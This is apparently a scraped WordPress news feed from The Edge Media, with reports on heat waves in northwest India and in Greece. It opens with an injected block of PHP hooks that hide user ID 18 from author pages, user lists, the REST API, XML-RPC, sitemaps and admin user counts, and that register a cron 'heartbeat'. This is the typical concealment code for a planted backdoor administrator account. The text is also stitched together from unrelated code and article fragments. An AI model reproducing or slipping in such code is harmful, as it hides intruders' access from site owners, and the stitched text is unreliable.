add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The heat wave will remain in northwest and central India, with relief expected tomorrow appeared first on The Edge Media.
]]>While the temperature in Jammu reached 43.5 degrees Celsius on the warmest day of the season, a red warning has been issued for numerous districts in Rajasthan, where Dholpur reached 48.5 degrees Celsius on Saturday.
Gurugram was the hottest place in Haryana, with a high of 46.8 degrees Celsius, while Ambala, Hisar, Karnal, Rohtak, Narnaul, Bhiwani, and Sirsa had maximum temperatures of 44, 46, 43.2, 46.6, 45.5, 45.4, and 46.4 degrees Celsius, respectively. Bathinda had a maximum temperature of 46 degrees Celsius, while Amritsar, Ludhiana, Patiala, Pathankot, and Gurdaspur had maximum temperatures of 45.6, 45, 44, 43.8, and 43.5 degrees Celsius, respectively.
The post The heat wave will remain in northwest and central India, with relief expected tomorrow appeared first on The Edge Media.
]]>The post Greece going through the worst heat wave in terms of intensity and duration appeared first on The Edge Media.
]]>On the nearby island of Evia, the Greek coast guard mounted a massive operation with patrol boats and private vessels to evacuate hundreds of residents and vacationers by sea as dozens of fires burned across the country for a third day amid a protracted heat wave.
One of the most severe blazes tore through forest areas 20 kilometers (12.5 miles) north of the capital, destroying more homes. Ground crews of several hundred firefighters dug fire breaks and hosed the flames.
Traffic was halted on the country’s main highway connecting Athens to northern Greece as crews tried to use the road as a firebreak before water-dropping planes resumed flights at first light. But sparks and burning pine cones carried the fire across the highway at several points.

Several firefighters and volunteers were hospitalized with burns, health officials said. Health Minister Vassilis Kikilias said nine people had been taken by ambulance to hospitals in Athens from the fire north of the Greek capital, three of them suffering breathing problems, while 11 more were being treated in a health center on Evia.
“We are going through the 10th day of a major heat wave affecting our entire country, the worst heat wave in terms of intensity and duration of the last 30 years,” Fire Service Brig. Gen. Aristotelis Papadopoulos said.
The post Greece going through the worst heat wave in terms of intensity and duration appeared first on The Edge Media.
]]>